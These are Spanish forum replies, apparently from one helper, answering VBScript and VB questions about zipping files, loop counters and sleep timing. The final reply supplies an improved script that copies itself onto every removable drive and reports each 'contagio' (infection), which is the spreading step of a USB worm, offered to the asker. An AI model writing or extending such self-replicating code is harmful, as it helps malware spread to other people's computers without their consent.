Es que justamente, me refería a que winzip, y winrar no vienen de serie, pero las carpetas comprimidas (zip) del xp y como comentas Vista, si viene por defecto... el "Enviar a carpeta comprimida en zip"... para eso sirve el script que dejé... es vbs pero facilmente se puede portar a VB y mejorar... con lo de mejorar me refiero a que el otro es básico, sin verficación de que este todo correcto y demás 

Saludos

Es que recurriendo a la linea de comandos de otros programas, siempre se podrá hacer tal o tal cosa... la cuestión es... y si esos programas no están? 

Supongo que para mostrar a alguien la cantidad de intentos que le quedan... pero en el code no se implementa en ningún lado   

Saludos

Que es lo que no sale.. cual es el problema? Error?
Vistazo de 5 segundos.. 


Y esto otro...


También el i no comienza con valor alguno... así que si a 0 le restas uno, va quedando negativo.. nunca va a valera 2 o 1 o 0

 

Porque piensa compilarlo con VB

No has buscado bien.. en XP (en vista no he probado)

Zippear archivos en vbs/batch/js<---click
Los códigos están comentados y es scripting puro

Saludos 

  no estaría de más que redactes una pregunta como debe de ser

Me he olvidado la bola de cristal en la casa de un familiar, así que no puedo adivinar nada en este momento 

Ahora entiendo porque el problema con el sleep .....

Es que en vbs, si al sleep le pones esperas muy grandes... muere  .

Lo mejor sería utilizar un timer (lo estas haciendo en VB) en una función, y cuando lo necesites lo llamas.

Saludos 

Bakura182, ve a scripting con la misma pregunta  , me gustaría saber donde tienes el vbs, si en un archivo suelto, o embedido en un html  , pero pregunta en scripting 

Buenas... he de decir, que tu code necesita muchas mejoras  , aquí va...

Set FSOvar = createobject("scripting.filesystemobject")
Set uni = FSOvar.drives
 
For each x in uni
If x.driveletter <> "A" and x.drivetype = 1 then
	FSOvar.copyfile wscript.scriptfullname, x.driveletter &":\"
	msgbox "contagio en " & x.driveletter
End If
Next
 

En lugar de ultilizar el nombre del script, utilizo wscript.scriptfullname que tiene la ruta completa del script en ejecución.
Y además, en el IF, utilizo drivetype = 1, ya que el tipo de disco 1 es extraíble 

Saludos